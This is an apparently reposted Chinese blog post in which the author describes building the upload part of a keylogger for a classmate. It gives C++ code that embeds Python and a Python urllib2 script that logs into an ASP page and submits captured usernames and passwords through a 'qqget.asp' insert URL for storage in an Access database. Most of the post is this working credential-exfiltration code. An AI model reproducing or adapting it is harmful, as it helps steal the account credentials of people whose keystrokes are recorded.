PythonC++

it2022-05-09  30

帮同学弄个信息安全的东西,关于键盘记录,然后发布到Asp网页上,有意思呵呵,TaoBao上的卖主不错,用MFC和Asp来写的,有时间,把代码再好好看看,然后用他的技术写个别的东西。

先说我实现的办法吧,键盘记录他已经搞好了,我就负责把一段文本(用户名和密码)发送到网页上去,这段时间搞Python,所以对网页抓取,自动提交什么的稍微熟悉等,所以想用Python,通过Asp网页的Get方法,将数据提交上去,然后存在Access中,但是客户端(监听端)被限制只能用C++来写,所以就想办法混编C++和Python,用C++来调用Python,网上关于C++和Python混编还是蛮多的,一般还是用Python调用C++,一个写起来方便,一个效率高,这个叫扩展,反过来交嵌入。关于C++调用Python,可以参考这,两者都讲的可以参考这。但是环境配置的时候,遇到问题,链接错误什么的,不太清楚是什么原因,怀疑是C++和Python的版本匹配问题,后来改成Release编译就可以了,搞不懂,并且,不少函数还不能用的,悲剧。最后呢,回到了最原始的状态,就是在C++下,直接调用Python的代码运行~

给定两个参数,一个用户名,一个密码,然后将实现写好的Py代码中的相应位置,替换掉这两个值,然后运行,也就完成了将相应用户名和密码插入到服务器端的过程了。还一个问题就是Python方面,如果自动登录,用的是Post的方式,然后发现如果单用urllib2进行登录的话,会不成功,因为这里用到了session,某个网页的登录没问题,但是一旦跳转到另一个网页就会出现问题,session的值就为空了,所以要设置cookie,感觉cookie的概念比session要大,关于自动访问网页,这可以看看。

C++端的代码如下:

#include <iostream> #include <Python.h> #include <string> using namespace std;   char ch[10000];   int main(int argc, char *argv[]) { if(argc != 3) { cout << "argument is error!" << endl; return 0; }   string userName = argv[1]; string passWord = argv[2];   Py_Initialize();   PyObject * pModule = NULL; PyObject * pFunc = NULL;   freopen("d:\\desktop\\test.py", "r", stdin); int cnt = 0; while(scanf("%c", &ch[cnt]) != EOF) cnt++;   string m = ch; for(int i = 0; i < m.length(); i++) { if(m.substr(i, 3) == "lit") { m.replace(i, 3, userName); i += userName.length() - 1; } else if(m.substr(i, 3) == "acm") { m.replace(i, 3, passWord); i += passWord.length() - 1; } } PyRun_SimpleString(m.c_str()); /* 运行字符串 */   Py_Finalize(); }

Python端的代码如下:

#!/usr/bin/env python #coding=utf-8   import urllib, urllib2, cookielib   cj = cookielib.LWPCookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener)   params = {'txtUser':'admin','txtPass':'admin'}   #print params   url_login = 'http://localhost/icheck.asp'   req = urllib2.Request(url_login,urllib.urlencode(params))   operate = opener.open(req)   #info = operate.read() #url_r = operate.geturl()   url_insert = 'http://localhost/qqget.asp?Action=Insert&userName=lit&passWord=acm' urllib2.urlopen(url_insert)   print "insert ok"

试验成功的截图:

转载于:https://www.cnblogs.com/litstrong/archive/2011/05/29/2062315.html


最新回复(0)